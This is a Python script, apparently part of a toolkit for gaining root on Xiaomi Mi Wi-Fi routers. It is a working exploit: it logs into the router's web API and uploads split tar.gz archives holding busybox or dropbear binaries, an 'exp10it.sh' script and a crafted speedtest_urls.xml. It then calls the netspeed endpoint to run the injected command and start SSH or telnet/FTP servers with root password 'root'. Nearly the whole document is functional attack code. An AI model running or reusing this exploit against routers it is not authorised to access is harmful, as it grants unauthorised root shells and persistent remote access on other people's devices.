#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import sys import re import time import random import hashlib import requests import socket import tarfile sys.path.append(os.path.dirname(os.path.abspath(__file__))) import gateway from gateway import * gw = gateway.Gateway(detect_device = False, detect_ssh = False) if len(sys.argv) > 1: ip_addr = sys.argv[1] if not ip_addr: die("You entered an empty IP-address!") gw.ip_addr = ip_addr gw.set_timeout(4) gw.detect_device() if gw.status < 1: die("Xiaomi Mi Wi-Fi device not found (IP: {})".format(gw.ip_addr)) dn = gw.device_name if dn == 'R2100' or dn == 'R2350' or dn == 'RM1800' or dn == 'RM2100' or dn == 'RA67': import connect2 sys.exit(0) if dn == 'R3600' and gw.rom_version == '1.0.17': import connect2 sys.exit(0) if dn == 'R3600' or dn == 'RA69' or dn == 'RA70' or dn == 'RA72' or dn == 'RB03': import connect3 sys.exit(0) print("device_name =", gw.device_name) print("rom_version = {} {}".format(gw.rom_version, gw.rom_channel)) print("mac = {}".format(gw.mac_address)) gw.ssh_port = 122 ret = gw.detect_ssh(verbose = 1, interactive = True) if ret > 0: die(0, "SSH-server already installed and running") stok = gw.web_login() dn_tmp = 'tmp/' if gw.use_ssh: dn_dir = 'data/payload_ssh/' else: dn_dir = 'data/payload/' print("Begin creating a payload for the exploit...") fn_payload1 = 'tmp/payload1.tar.gz' fn_payload2 = 'tmp/payload2.tar.gz' fn_payload3 = 'tmp/payload3.tar.gz' if gw.use_ssh: fn_pfname = 'dropbearmulti' else: fn_pfname = 'busybox' fn_pf1 = dn_tmp + fn_pfname + '_01' fn_pf2 = dn_tmp + fn_pfname + '_02' fn_pf3 = dn_tmp + fn_pfname + '_03' fn_suffix = '_mips' if dn == 'R3D' or dn == 'D01': fn_suffix = '_armv7a' if dn == "RB03": fn_suffix = '_arm64' fn_pf = dn_dir + fn_pfname + fn_suffix if os.path.exists(fn_payload1): os.remove(fn_payload1) if os.path.exists(fn_payload2): os.remove(fn_payload2) if os.path.exists(fn_payload3): os.remove(fn_payload3) with open(fn_pf, "rb") as file: pf = file.read() psize = len(pf) // 3 wsize = psize + 8000 with open(fn_pf1, "wb") as file: file.write(pf[:wsize]) pf = pf[wsize:] wsize = psize - 8000 with open(fn_pf2, "wb") as file: file.write(pf[:wsize]) pf = pf[wsize:] with open(fn_pf3, "wb") as file: file.write(pf) fn_exploit = "exp10it.sh" command = "sh /tmp/" + fn_exploit fn_executor = "speedtest_urls.xml" with open(dn_dir + fn_executor, "rt", encoding = "UTF-8") as file: template = file.read() data = template.format(router_ip_address=gw.ip_addr, command=command) with open(dn_tmp + fn_executor, "wt", encoding = "UTF-8", newline = "\n") as file: file.write(data) with tarfile.open(fn_payload1, "w:gz", compresslevel=9) as tar: tar.add(fn_pf1, arcname = os.path.basename(fn_pf1)) with tarfile.open(fn_payload2, "w:gz", compresslevel=9) as tar: tar.add(fn_pf2, arcname = os.path.basename(fn_pf2)) with tarfile.open(fn_payload3, "w:gz", compresslevel=9) as tar: tar.add(fn_pf3, arcname = os.path.basename(fn_pf3)) tar.add(dn_tmp + fn_executor, arcname = fn_executor) tar.add(dn_dir + fn_exploit, arcname = fn_exploit) if gw.use_ssh: tar.add(dn_dir + 'dropbear.uci.cfg', arcname = 'dropbear.uci.cfg') tar.add(dn_dir + 'dropbear.init.d.sh', arcname = 'dropbear.init.d.sh') if os.path.exists(fn_pf1): os.remove(fn_pf1) if os.path.exists(fn_pf2): os.remove(fn_pf2) if os.path.exists(fn_pf3): os.remove(fn_pf3) tgz_size1 = os.path.getsize(fn_payload1) if tgz_size1 > 100*1024 - 128: die("File size {} exceeds 100KiB".format(fn_payload1)) tgz_size2 = os.path.getsize(fn_payload2) if tgz_size2 > 100*1024 - 128: die("File size {} exceeds 100KiB".format(fn_payload2)) print("Start uploading the exploit with payload...") if (fn_payload1): requests.post(gw.apiurl + "misystem/c_upload", files={"image":open(fn_payload1, 'rb')}) if (fn_payload2): requests.post(gw.apiurl + "misystem/c_upload", files={"image":open(fn_payload2, 'rb')}) if (fn_payload3): requests.post(gw.apiurl + "misystem/c_upload", files={"image":open(fn_payload3, 'rb')}) time.sleep(1) if gw.use_ssh: print("Running SSH server on port {}...".format(gw.ssh_port)) else: print("Running TELNET and FTP servers...") requests.get(gw.apiurl + "xqnetdetect/netspeed") time.sleep(0.5) gw.passw = 'root' gw.ping(contimeout = 8) print("") print("#### Connection to device {} is OK ####".format(gw.device_name))